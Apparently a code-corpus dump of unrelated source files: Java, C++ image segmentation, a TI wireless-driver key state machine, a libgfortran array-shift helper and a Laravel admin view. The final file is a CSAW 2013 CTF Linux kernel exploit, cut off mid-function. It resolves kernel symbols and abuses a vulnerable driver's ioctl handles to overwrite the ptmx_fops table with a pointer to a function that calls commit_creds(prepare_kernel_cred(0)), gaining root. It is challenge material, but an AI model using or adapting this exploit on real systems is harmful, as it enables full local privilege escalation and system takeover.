* @param printStream stream to which to write
* @param indent number of spaces to indent each line
* @param verbose possibly write extended information when true
*/
void printSessionStats(PrintStream printStream, int indent, boolean verbose);
}
|
arodchen/MaxSim
|
maxine/com.oracle.max.tele.vm/src/com/sun/max/tele/MaxMachineCode.java
|
Java
|
gpl-2.0
| 5,301 |
// Copyright (C) 2009, 2013, 2014 EPITA Research and Development
// Laboratory (LRDE).
//
// This file is part of Olena.
//
// Olena is free software: you can redistribute it and/or modify it under
// the terms of the GNU General Public License as published by the Free
// Software Foundation, version 2 of the License.
//
// Olena is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
// General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Olena. If not, see <http://www.gnu.org/licenses/>.
//
// As a special exception, you may use this file as part of a free
// software project without restriction. Specifically, if other files
// instantiate templates or use macros or inline functions from this
// file, or you compile this file and link it with other files to produce
// an executable, this file does not by itself cause the resulting
// executable to be covered by the GNU General Public License. This
// exception does not however invalidate any other reasons why the
// executable file might be covered by the GNU General Public License.
/** \file constrained-connectivity.cc
\brief A topological watershed-based implementation of Pierre
Soille's constrained connectivity segmentation.
Reference:
Pierre Soille. Constrained Connectivity for Hierarchical Image
Partitioning and Simplification. In: IEEE Transactions on
Pattern Analysis and Machine Intelligence, vol. 30, no. 7, July
2008, pages 1132-1145.
The scenario is as follows.
Part 1.
\li Load a 2D image.
\li Double its resolution (a pixel becomes a square of four pixels).
\li Compute a line graph from this image and
\li Assign values of a gradient to the edges (e.g., |v1 - v2|).
\li Compute a topological watershed transform on this gradient.
\li Thresholding the values of this watershed gives
alpha-connected components (alpha-cc) described by Pierre Soille.
Part 2.
\li For each edge of the watershed (line graph-based) image,
compute the min and max value of the adjacent vertices (pixels).
\li Using the component tree corresponding to the previously
computed topological watershed transform, propagate and
compute the min and max value for each component of the
watershed.
\li Create an image of ``heights'' by subtracting the image of min
values from the image of max values.
\li Thresholding the watershed image (using a parameter alpha)
<em>and</em> the height image (using a parameter omega) gives
the (alpha, omega)-connected components (alpha-omega cc)
described by Pierre Soille. */
#include <cstdio>
#include <set>
#include <iostream>
#include <mln/value/int_u8.hh>
#include <mln/core/image/image2d.hh>
#include <mln/pw/all.hh>
#include <mln/fun/vv2v/diff_abs.hh>
#include <mln/world/inter_pixel/immerse.hh>
#include <mln/world/inter_pixel/compute.hh>
#include <mln/world/inter_pixel/neighb2d.hh>
#include <mln/morpho/watershed/topological.hh>
#include <mln/morpho/tree/compute_attribute_image.hh>
#include <mln/accu/stat/min.hh>
#include <mln/accu/stat/max.hh>
#include <mln/io/pgm/load.hh>
#include <mln/debug/println.hh>
int main(int argc, char* argv[])
{
if (argc != 2)
{
std::cerr << "Usage: " << argv[0] << " input.pgm" << std::endl;
std::exit(1);
}
using namespace mln;
using mln::value::int_u8;
// Load an image.
image2d<int_u8> input;
io::pgm::load(input, argv[1]);
// Double its resolution.
image2d<int_u8> f_(input.nrows() * 2, input.ncols() * 2);
mln_piter_(image2d<int_u8>) p_ima(f_.domain());
for_all(p_ima)
{
/* This conversion from a ``piter'' type to point2d is required,
since an iterator does not expose the interface of the
underlying point (among which the methods row(), col(),
etc.). */
point2d p_ima_ = p_ima;
point2d p_f(p_ima_.row() / 2, p_ima_.col() / 2);
f_(p_ima) = input(p_f);
}
debug::println("f_:", f_);
image_if<image2d<int_u8>, world::inter_pixel::is_pixel> f =
world::inter_pixel::immerse(f_);
debug::println("f:", f);
// Compute the associated line graph gradient.
typedef image_if<image2d<int_u8>, world::inter_pixel::is_separator> g_t;
g_t g = world::inter_pixel::compute (f, fun::vv2v::diff_abs<int_u8>());
debug::println("g:", g);
// Compute a topological watershed transform on this gradient.
typedef morpho::watershed::topo_wst<g_t, world::inter_pixel::dbl_neighb2d> tree_t;
tree_t tree(g, world::inter_pixel::e2e());
tree.go();
typedef image_if<image2d<int_u8>, world::inter_pixel::is_separator> w_t;
w_t w = morpho::watershed::topological(tree);
debug::println("w:", w);
// Computing the set of values of W.
// FIXME: Milena may provide something simpler than this.
std::set<int_u8> values;
mln_piter_(w_t) p2(w.domain());
for_all(p2)
values.insert(w(p2));
// Thresholding W for each value of the image.
for (std::set<int_u8>::const_iterator alpha = values.begin();
alpha != values.end(); ++alpha)
{
typedef image_if< w_t,
fun::greater_v2b_expr_< pw::value_<w_t>,
pw::cst_<int_u8> > >
alpha_cc_t;
alpha_cc_t alpha_cc = w | (pw::value(w) > pw::cst(*alpha));
std::cout << *alpha << "-cc:" << std::endl;
/* FIXME: There should be variants of debug::println allowing
the user to pass an optional ``support'' larger than the
actual domain of the image. For now, use a low-level routine
as a workaround. */
debug::impl::println(w.unmorph_().domain(), alpha_cc);
}
// Compute the height (max - min) of connected components on the line
// graph-based watershed, but with min and max values computed on
// vertices.
/* FIXME: Of course, we'd like to be able to reuse the component
tree within TREE instead of rebuilding a morpho::tree::data...
This requires some changes in the topological WST implementation,
to make its component tree structure compatible with
morpho::tree::data. */
typedef p_array<tree_t::psite> psites_t;
psites_t psites = data::sort_psites_decreasing(w);
morpho::tree::data<w_t, psites_t> t(w, psites, world::inter_pixel::e2e());
// Create initial images for min and max values on psites (not components).
mln_ch_value_(w_t, accu::stat::min<int_u8>) init_min_val;
initialize (init_min_val, w);
mln_ch_value_(w_t, accu::stat::max<int_u8>) init_max_val;
initialize (init_max_val, w);
/* Compute the min and max values on vertices (pixels) adjacent to
edge E.
Unfortunately, the data structure G does not record any
information from the image F (i.e., the values on
vertices/pixels). We have to convert the coordinates of V to its
equivalent in F's domain to get the values on vertices. */
mln_piter_(w_t) e(w.domain());
mln_niter_(world::inter_pixel::dbl_neighb2d)
v_g(world::inter_pixel::e2v(), e);
for_all(e)
for_all(v_g)
{
// Same remark as above avour piter to point2d conversions.
point2d v_g_ = v_g;
point2d v_f(v_g_.row() / 2, v_g_.col() / 2);
init_min_val(e).take(f_(v_f));
init_max_val(e).take(f_(v_f));
}
// Attribute images of min and max values on components.
accu::stat::min<int_u8> min_accu;
mln_ch_value_(w_t, int_u8) min_val =
morpho::tree::compute_attribute_image_from(min_accu, t, init_min_val);
accu::stat::max<int_u8> max_accu;
mln_ch_value_(w_t, int_u8) max_val =
morpho::tree::compute_attribute_image_from(max_accu, t, init_max_val);
// Attribute image of components' height.
typedef mln_ch_value_(w_t, int_u8) height_t;
height_t height;
initialize(height, w);
for_all(e)
height(e) = max_val(e) - min_val(e);
debug::println(height);
// Thresholding W using first integer values with a condition on HEIGHT.
for (unsigned alpha = 0; alpha <= 6; ++alpha)
{
typedef image_if< w_t,
fun::or__v2b_expr_<
fun::greater_v2b_expr_< pw::value_<w_t>,
pw::cst_<unsigned> >,
fun::greater_v2b_expr_< pw::value_<height_t>,
pw::cst_<unsigned> > > >
alpha_alpha_cc_t;
alpha_alpha_cc_t alpha_alpha_cc =
w | (pw::value(w) > pw::cst(alpha)
|| (pw::value(height) > pw::cst(alpha)));
std::cout << "(" << alpha << ", " << alpha << ")-cc:" << std::endl;
// FIXME: Same remark as above about println.
debug::impl::println(w.unmorph_().domain(), alpha_alpha_cc);
}
}
|
glazzara/olena
|
milena/apps/constrained-connectivity/constrained-connectivity.cc
|
C++
|
gpl-2.0
| 8,888 |
/*
* unicastKey802_1x.c
*
* Copyright(c) 1998 - 2010 Texas Instruments. All rights reserved.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* * Neither the name Texas Instruments nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/** \file unicastKey802_1x.c
* \brief station unicast key 802_1x implementation
*
* \see unicastKey802_1x.h
*/
/****************************************************************************
* *
* MODULE: station unicast key 802_1x *
* PURPOSE: station unicast key 802_1x implementation *
* *
****************************************************************************/
#define __FILE_ID__ FILE_ID_44
#include "osApi.h"
#include "report.h"
#include "rsnApi.h"
#include "unicastKey802_1x.h"
#include "mainKeysSm.h"
/** number of states in the state machine */
#define UCAST_KEY_802_1X_MAX_NUM_STATES 3
/** number of events in the state machine */
#define UCAST_KEY_802_1X_MAX_NUM_EVENTS 4
TI_STATUS unicastKey802_1x_start(struct _unicastKey_t *pUnicastKey);
TI_STATUS unicastKey802_1x_stop(struct _unicastKey_t *pUnicastKey);
TI_STATUS unicastKey802_1x_recvSuccess(struct _unicastKey_t *pUnicastKey,
encodedKeyMaterial_t *pEncodedKeyMaterial);
TI_STATUS unicastKey802_1x_recvFailure(struct _unicastKey_t *pUnicastKey);
TI_STATUS unicastKey802_1x_distribute(struct _unicastKey_t *pUnicastKey);
TI_STATUS unicastKey802_1x_redistribute(struct _unicastKey_t *pUnicastKey);
TI_STATUS unicastKey802_1x_event(struct _unicastKey_t *pUnicastKey,
TI_UINT8 event,
void *pData);
/**
*
* Function - Config KEY Parser module.
*
* \b Description:
*
* Called by RSN Manager.
* Registers the function 'rsn_UnicastKeyRecv()' at the distributor to receive KEY frames upon receiving a KEY_RECV event.
*
* \b ARGS:
*
*
* \b RETURNS:
*
* TI_STATUS - 0 on success, any other value on failure.
*
*/
TI_STATUS unicastKey802_1x_config(struct _unicastKey_t *pUnicastKey)
{
TI_STATUS status = TI_NOK;
/** 802.1X Station unicast key State Machine matrix */
fsm_actionCell_t unicastKey802_1x_matrix[UCAST_KEY_802_1X_NUM_STATES][UCAST_KEY_802_1X_NUM_EVENTS] =
{
/* next state and actions for IDLE state */
{ {UCAST_KEY_802_1X_STATE_START, (fsm_Action_t)unicastKeySmNop},
{UCAST_KEY_802_1X_STATE_IDLE, (fsm_Action_t)unicastKeySmNop},
{UCAST_KEY_802_1X_STATE_IDLE, (fsm_Action_t)unicastKeySmNop},
{UCAST_KEY_802_1X_STATE_IDLE, (fsm_Action_t)unicastKeySmUnexpected}
},
/* next state and actions for START state */
{ {UCAST_KEY_802_1X_STATE_START, (fsm_Action_t)unicastKeySmUnexpected},
{UCAST_KEY_802_1X_STATE_IDLE, (fsm_Action_t)unicastKeySmNop},
{UCAST_KEY_802_1X_STATE_COMPLETE, (fsm_Action_t)unicastKey802_1x_distribute},
{UCAST_KEY_802_1X_STATE_START, (fsm_Action_t)unicastKeySmNop}
},
/* next state and actions for COMPLETE state */
{ {UCAST_KEY_802_1X_STATE_COMPLETE, (fsm_Action_t)unicastKeySmUnexpected},
{UCAST_KEY_802_1X_STATE_IDLE, (fsm_Action_t)unicastKeySmNop},
{UCAST_KEY_802_1X_STATE_COMPLETE, (fsm_Action_t)unicastKey802_1x_distribute},
{UCAST_KEY_802_1X_STATE_COMPLETE, (fsm_Action_t)unicastKeySmUnexpected}
}
};
pUnicastKey->start = unicastKey802_1x_start;
pUnicastKey->stop = unicastKey802_1x_stop;
pUnicastKey->recvFailure = unicastKey802_1x_recvFailure;
pUnicastKey->recvSuccess = unicastKey802_1x_recvSuccess;
pUnicastKey->currentState = UCAST_KEY_802_1X_STATE_IDLE;
status = fsm_Config(pUnicastKey->pUcastKeySm,
&unicastKey802_1x_matrix[0][0],
UCAST_KEY_802_1X_NUM_STATES,
UCAST_KEY_802_1X_NUM_EVENTS,
NULL, pUnicastKey->hOs);
return status;
}
/**
*
* unicastKey802_1x_event
*
* \b Description:
*
* 802.1x station unicast key state machine transition function
*
* \b ARGS:
*
* I/O - currentState - current state in the state machine\n
* I - event - specific event for the state machine\n
* I - pData - Data for state machine action function\n
*
* \b RETURNS:
*
* TI_OK on success, TI_NOK otherwise.
*
* \sa
*/
TI_STATUS unicastKey802_1x_event(struct _unicastKey_t *pUnicastKey, TI_UINT8 event, void *pData)
{
TI_STATUS status;
TI_UINT8 nextState;
status = fsm_GetNextState(pUnicastKey->pUcastKeySm, pUnicastKey->currentState, event, &nextState);
if (status != TI_OK)
{
TRACE0(pUnicastKey->hReport, REPORT_SEVERITY_ERROR, "UNICAST_KEY_802_1x: ERROR: failed getting next state\n");
return TI_NOK;
}
TRACE3(pUnicastKey->hReport, REPORT_SEVERITY_INFORMATION, "STATION_UNICAST_KEY_802_1x: <currentState = %d, event = %d> --> nextState = %d\n", pUnicastKey->currentState, event, nextState);
status = fsm_Event(pUnicastKey->pUcastKeySm, &pUnicastKey->currentState, event, pData);
return status;
}
/**
*
* unicastKey802_1x_start
*
* \b Description:
*
* START event handler
*
* \b ARGS:
*
* I - pCtrlB - station control block \n
*
* \b RETURNS:
*
* TI_OK on success, TI_NOK otherwise.
*
* \sa unicastKey802_1x_stop()
*/
TI_STATUS unicastKey802_1x_start(struct _unicastKey_t *pUnicastKey)
{
TI_STATUS status;
status = unicastKey802_1x_event(pUnicastKey, UCAST_KEY_802_1X_EVENT_START, pUnicastKey);
return status;
}
/**
*
* unicastKey802_1x_stop
*
* \b Description:
*
* START event handler
*
* \b ARGS:
*
* I - pCtrlB - station control block \n
*
* \b RETURNS:
*
* TI_OK on success, TI_NOK otherwise.
*
* \sa unicastKey802_1x_start()
*/
TI_STATUS unicastKey802_1x_stop(struct _unicastKey_t *pUnicastKey)
{
TI_STATUS status;
status = unicastKey802_1x_event(pUnicastKey, UCAST_KEY_802_1X_EVENT_STOP, pUnicastKey);
return status;
}
/**
*
* unicastKey802_1x_recvSuccess
*
* \b Description:
*
* SUCCESS event handler
*
* \b ARGS:
*
* I - pCtrlB - station control block \n
* I - pEncodedKeyMaterial - Encoded key material \n
*
* \b RETURNS:
*
* TI_OK on success, TI_NOK otherwise.
*
*/
TI_STATUS unicastKey802_1x_recvSuccess(struct _unicastKey_t *pUnicastKey, encodedKeyMaterial_t *pEncodedKeyMaterial)
{
TI_STATUS status;
pUnicastKey->data.pEncodedKeyMaterial = pEncodedKeyMaterial;
status = unicastKey802_1x_event(pUnicastKey, UCAST_KEY_802_1X_EVENT_SUCCESS, pUnicastKey);
return status;
}
/**
*
* unicastKey802_1x_recvFailure
*
* \b Description:
*
* FAILURE event handler
*
* \b ARGS:
*
* I - pCtrlB - station control block \n
*
* \b RETURNS:
*
* TI_OK on success, TI_NOK otherwise.
*
*/
TI_STATUS unicastKey802_1x_recvFailure(struct _unicastKey_t *pUnicastKey)
{
TI_STATUS status;
status = unicastKey802_1x_event(pUnicastKey, UCAST_KEY_802_1X_EVENT_FAILURE, pUnicastKey);
return status;
}
/**
*
* unicastKey802_1x_distribute
*
* \b Description:
*
* Distribute unicast key material to the driver and report the main key SM on unicast complete.
*
* \b ARGS:
*
* I - pData - Encoded key material \n
*
* \b RETURNS:
*
* TI_OK on success, TI_NOK otherwise.
*/
TI_STATUS unicastKey802_1x_distribute(struct _unicastKey_t *pUnicastKey)
{
TI_STATUS status=TI_NOK;
if (pUnicastKey->pKeyDerive->derive!=NULL)
{
status = pUnicastKey->pKeyDerive->derive(pUnicastKey->pKeyDerive,
pUnicastKey->data.pEncodedKeyMaterial);
}
if (status != TI_OK)
{
return TI_NOK;
}
if (pUnicastKey->pParent->setDefaultKeyId!=NULL)
{
status = pUnicastKey->pParent->setDefaultKeyId(pUnicastKey->pParent,
(TI_UINT8)pUnicastKey->data.pEncodedKeyMaterial->keyId);
}
if (status != TI_OK)
{
return status;
}
if (pUnicastKey->pParent->reportUcastStatus!=NULL)
{
status = pUnicastKey->pParent->reportUcastStatus(pUnicastKey->pParent, TI_OK);
}
return status;
}
|
stevelord/PR30
|
linux-2.6.31/ti/WiLink62_AP/stad/src/Connection_Managment/unicastKey802_1x.c
|
C
|
gpl-2.0
| 9,631 |
/* Helper function for cshift functions.
Copyright (C) 2008-2017 Free Software Foundation, Inc.
Contributed by Thomas Koenig <[email protected]>
This file is part of the GNU Fortran runtime library (libgfortran).
Libgfortran is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public
License as published by the Free Software Foundation; either
version 3 of the License, or (at your option) any later version.
Libgfortran is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
Under Section 7 of GPL version 3, you are granted additional
permissions described in the GCC Runtime Library Exception, version
3.1, as published by the Free Software Foundation.
You should have received a copy of the GNU General Public License and
a copy of the GCC Runtime Library Exception along with this program;
see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
<http://www.gnu.org/licenses/>. */
#include "libgfortran.h"
#include <string.h>
#if defined (HAVE_GFC_INTEGER_16)
void
cshift0_i16 (gfc_array_i16 *ret, const gfc_array_i16 *array, ptrdiff_t shift,
int which)
{
/* r.* indicates the return array. */
index_type rstride[GFC_MAX_DIMENSIONS];
index_type rstride0;
index_type roffset;
GFC_INTEGER_16 *rptr;
/* s.* indicates the source array. */
index_type sstride[GFC_MAX_DIMENSIONS];
index_type sstride0;
index_type soffset;
const GFC_INTEGER_16 *sptr;
index_type count[GFC_MAX_DIMENSIONS];
index_type extent[GFC_MAX_DIMENSIONS];
index_type dim;
index_type len;
index_type n;
bool do_blocked;
index_type r_ex, a_ex;
which = which - 1;
sstride[0] = 0;
rstride[0] = 0;
extent[0] = 1;
count[0] = 0;
n = 0;
/* Initialized for avoiding compiler warnings. */
roffset = 1;
soffset = 1;
len = 0;
r_ex = 1;
a_ex = 1;
if (which > 0)
{
/* Test if both ret and array are contiguous. */
do_blocked = true;
dim = GFC_DESCRIPTOR_RANK (array);
for (n = 0; n < dim; n ++)
{
index_type rs, as;
rs = GFC_DESCRIPTOR_STRIDE (ret, n);
if (rs != r_ex)
{
do_blocked = false;
break;
}
as = GFC_DESCRIPTOR_STRIDE (array, n);
if (as != a_ex)
{
do_blocked = false;
break;
}
r_ex *= GFC_DESCRIPTOR_EXTENT (ret, n);
a_ex *= GFC_DESCRIPTOR_EXTENT (array, n);
}
}
else
do_blocked = false;
n = 0;
if (do_blocked)
{
/* For contiguous arrays, use the relationship that
dimension(n1,n2,n3) :: a, b
b = cshift(a,sh,3)
can be dealt with as if
dimension(n1*n2*n3) :: an, bn
bn = cshift(a,sh*n1*n2,1)
we can used a more blocked algorithm for dim>1. */
sstride[0] = 1;
rstride[0] = 1;
roffset = 1;
soffset = 1;
len = GFC_DESCRIPTOR_STRIDE(array, which)
* GFC_DESCRIPTOR_EXTENT(array, which);
shift *= GFC_DESCRIPTOR_STRIDE(array, which);
for (dim = which + 1; dim < GFC_DESCRIPTOR_RANK (array); dim++)
{
count[n] = 0;
extent[n] = GFC_DESCRIPTOR_EXTENT(array,dim);
rstride[n] = GFC_DESCRIPTOR_STRIDE(ret,dim);
sstride[n] = GFC_DESCRIPTOR_STRIDE(array,dim);
n++;
}
dim = GFC_DESCRIPTOR_RANK (array) - which;
}
else
{
for (dim = 0; dim < GFC_DESCRIPTOR_RANK (array); dim++)
{
if (dim == which)
{
roffset = GFC_DESCRIPTOR_STRIDE(ret,dim);
if (roffset == 0)
roffset = 1;
soffset = GFC_DESCRIPTOR_STRIDE(array,dim);
if (soffset == 0)
soffset = 1;
len = GFC_DESCRIPTOR_EXTENT(array,dim);
}
else
{
count[n] = 0;
extent[n] = GFC_DESCRIPTOR_EXTENT(array,dim);
rstride[n] = GFC_DESCRIPTOR_STRIDE(ret,dim);
sstride[n] = GFC_DESCRIPTOR_STRIDE(array,dim);
n++;
}
}
if (sstride[0] == 0)
sstride[0] = 1;
if (rstride[0] == 0)
rstride[0] = 1;
dim = GFC_DESCRIPTOR_RANK (array);
}
rstride0 = rstride[0];
sstride0 = sstride[0];
rptr = ret->base_addr;
sptr = array->base_addr;
/* Avoid the costly modulo for trivially in-bound shifts. */
if (shift < 0 || shift >= len)
{
shift = len == 0 ? 0 : shift % (ptrdiff_t)len;
if (shift < 0)
shift += len;
}
while (rptr)
{
/* Do the shift for this dimension. */
/* If elements are contiguous, perform the operation
in two block moves. */
if (soffset == 1 && roffset == 1)
{
size_t len1 = shift * sizeof (GFC_INTEGER_16);
size_t len2 = (len - shift) * sizeof (GFC_INTEGER_16);
memcpy (rptr, sptr + shift, len2);
memcpy (rptr + (len - shift), sptr, len1);
}
else
{
/* Otherwise, we will have to perform the copy one element at
a time. */
GFC_INTEGER_16 *dest = rptr;
const GFC_INTEGER_16 *src = &sptr[shift * soffset];
for (n = 0; n < len - shift; n++)
{
*dest = *src;
dest += roffset;
src += soffset;
}
for (src = sptr, n = 0; n < shift; n++)
{
*dest = *src;
dest += roffset;
src += soffset;
}
}
/* Advance to the next section. */
rptr += rstride0;
sptr += sstride0;
count[0]++;
n = 0;
while (count[n] == extent[n])
{
/* When we get to the end of a dimension, reset it and increment
the next dimension. */
count[n] = 0;
/* We could precalculate these products, but this is a less
frequently used path so probably not worth it. */
rptr -= rstride[n] * extent[n];
sptr -= sstride[n] * extent[n];
n++;
if (n >= dim - 1)
{
/* Break out of the loop. */
rptr = NULL;
break;
}
else
{
count[n]++;
rptr += rstride[n];
sptr += sstride[n];
}
}
}
return;
}
#endif
|
itsimbal/gcc.cet
|
libgfortran/generated/cshift0_i16.c
|
C
|
gpl-2.0
| 6,092 |
@extends ('backend.layouts.master')
@section ('title', trans('menus.user_management') . ' | ' . trans('menus.deactivated_users'))
@section('page-header')
<h1>
{{ trans('menus.user_management') }}
<small>{{ trans('menus.deactivated_users') }}</small>
</h1>
@endsection
@section ('breadcrumbs')
<li><a href="{!!route('backend.dashboard')!!}"><i class="fa fa-dashboard"></i> {{ trans('menus.dashboard') }}</a></li>
<li>{!! link_to_route('admin.access.users.index', trans('menus.user_management')) !!}</li>
<li class="active">{!! link_to_route('admin.access.users.deactivated', trans('menus.deactivated_users')) !!}</li>
@stop
@section('content')
@include('backend.access.includes.partials.header-buttons')
<table class="table table-striped table-bordered table-hover">
<thead>
<tr>
<th>{{ trans('crud.users.id') }}</th>
<th>{{ trans('crud.users.name') }}</th>
<th>{{ trans('crud.users.email') }}</th>
<th>{{ trans('crud.users.confirmed') }}</th>
<th>{{ trans('crud.users.roles') }}</th>
<th>{{ trans('crud.users.other_permissions') }}</th>
<th class="visible-lg">{{ trans('crud.users.created') }}</th>
<th class="visible-lg">{{ trans('crud.users.last_updated') }}</th>
<th>{{ trans('crud.actions') }}</th>
</tr>
</thead>
<tbody>
@if ($users->count())
@foreach ($users as $user)
<tr>
<td>{!! $user->id !!}</td>
<td>{!! $user->name !!}</td>
<td>{!! link_to("mailto:".$user->email, $user->email) !!}</td>
<td>{!! $user->confirmed_label !!}</td>
<td>
@if ($user->roles()->count() > 0)
@foreach ($user->roles as $role)
{!! $role->name !!}<br/>
@endforeach
@else
None
@endif
</td>
<td>
@if ($user->permissions()->count() > 0)
@foreach ($user->permissions as $perm)
{!! $perm->display_name !!}<br/>
@endforeach
@else
None
@endif
</td>
<td class="visible-lg">{!! $user->created_at->diffForHumans() !!}</td>
<td class="visible-lg">{!! $user->updated_at->diffForHumans() !!}</td>
<td>{!! $user->action_buttons !!}</td>
</tr>
@endforeach
@else
<td colspan="9">{{ trans('crud.users.no_deactivated_users') }}</td>
@endif
</tbody>
</table>
<div class="pull-left">
{!! $users->total() !!} {{ trans('crud.users.total') }}
</div>
<div class="pull-right">
{!! $users->render() !!}
</div>
<div class="clearfix"></div>
@stop
|
jaychow/selfieTag
|
resources/views/backend/access/deactivated.blade.php
|
PHP
|
gpl-2.0
| 3,270 |
/*
* CSAW 2013 Michael Coppola solution
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/uio.h>
#include <sys/utsname.h>
#define BUF_SIZE 0x100
#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_HANDLE CSAW_IOCTL_BASE+1
#define CSAW_READ_HANDLE CSAW_IOCTL_BASE+2
#define CSAW_WRITE_HANDLE CSAW_IOCTL_BASE+3
#define CSAW_GET_CONSUMER CSAW_IOCTL_BASE+4
#define CSAW_SET_CONSUMER CSAW_IOCTL_BASE+5
#define CSAW_FREE_HANDLE CSAW_IOCTL_BASE+6
#define CSAW_GET_STATS CSAW_IOCTL_BASE+7
struct alloc_args {
unsigned long size;
unsigned long handle;
};
struct free_args {
unsigned long handle;
};
struct read_args {
unsigned long handle;
unsigned long size;
void *out;
};
struct write_args {
unsigned long handle;
unsigned long size;
void *in;
};
struct consumer_args {
unsigned long handle;
unsigned long pid;
unsigned char offset;
};
struct csaw_stats {
unsigned long clients;
unsigned long handles;
unsigned long bytes_read;
unsigned long bytes_written;
char version[40];
};
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, "[+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
unsigned long commit_creds;
unsigned long prepare_kernel_cred;
unsigned long *cleanup;
int get_root ( void *iocb, const struct iovec *iov, unsigned long nr_segs, loff_t pos )
{
_commit_creds commit = (_commit_creds)commit_creds;
_prepare_kernel_cred prepare = (_prepare_kernel_cred)prepare_kernel_cred;
*cleanup = 0;
commit(prepare(0));
return 0;
}
int main ( int argc, char **argv )
{
int fd, pfd, ret;
unsigned long handle, buf, seed, target, new_handle, ptmx_fops;
unsigned long payload[4];
struct alloc_args alloc_args;
struct write_args write_args;
struct consumer_args consumer_args;
struct iovec iov;
fd = open("/dev/csaw", O_RDONLY);
if ( fd < 0 )
{
perror("open");
exit(EXIT_FAILURE);
}
pfd = open("/dev/ptmx", O_RDWR);
if ( pfd < 0 )
{
perror("open");
exit(EXIT_FAILURE);
}
commit_creds = get_kernel_sym("commit_creds");
if ( ! commit_creds )
{
printf("[-] commit_creds symbol not found, aborting\n");
exit(1);
}
prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred");
if ( ! prepare_kernel_cred )
{
printf("[-] prepare_kernel_cred symbol not found, aborting\n");
exit(1);
}
ptmx_fops = get_kernel_sym("ptmx_fops");
if ( ! ptmx_fops )
{
printf("[-] ptmx_fops symbol not found, aborting\n");
exit(1);
}
memset(&alloc_args, 0, sizeof(alloc_args));
alloc_args.size = BUF_SIZE;
ret = ioctl(fd, CSAW_ALLOC_HANDLE, &alloc_args);
if ( ret < 0 )
{
perror("ioctl");
exit(EXIT_FAILURE);
}
handle = alloc_args.handle;
printf("[+] Acquired handle: %lx\n", handle);
memset(&consumer_args, 0, sizeof(consumer_args));
consumer_args.handle = handle;
consumer_args.offset = 255;
ret = ioctl(fd, CSAW_GET_CONSUMER, &consumer_args);
if ( ret < 0 )
{
perror("ioctl");
exit(EXIT_FAILURE);
}
buf = consumer_args.pid;
printf("[+] buf = %lx\n", buf);
seed = buf ^ handle;
printf("[+] seed = %lx\n", seed);
target = ptmx_fops + sizeof(void *) * 4;
printf("[+] target = %lx\n", target);
new_handle = target ^ seed;
printf("[+] new handle = %lx\n", new_handle);
memset(&consumer_args, 0, sizeof(consumer_args));
consumer_args.handle = handle;
consumer_args.offset = 255;
consumer_args.pid = target;
ret = ioctl(fd, CSAW_SET_CONSUMER, &consumer_args);
if ( ret < 0 )
{
perror("ioctl");
exit(EXIT_FAILURE);
}
buf = (unsigned long)&get_root;
memset(&write_args, 0, sizeof(write_args));
write_args.handle = new_handle;
write_args.size = sizeof(buf);
write_args.in = &buf;
ret = ioctl(fd, CSAW_WRITE_HANDLE, &write_args);
if ( ret < 0 )
{
perror("ioctl");
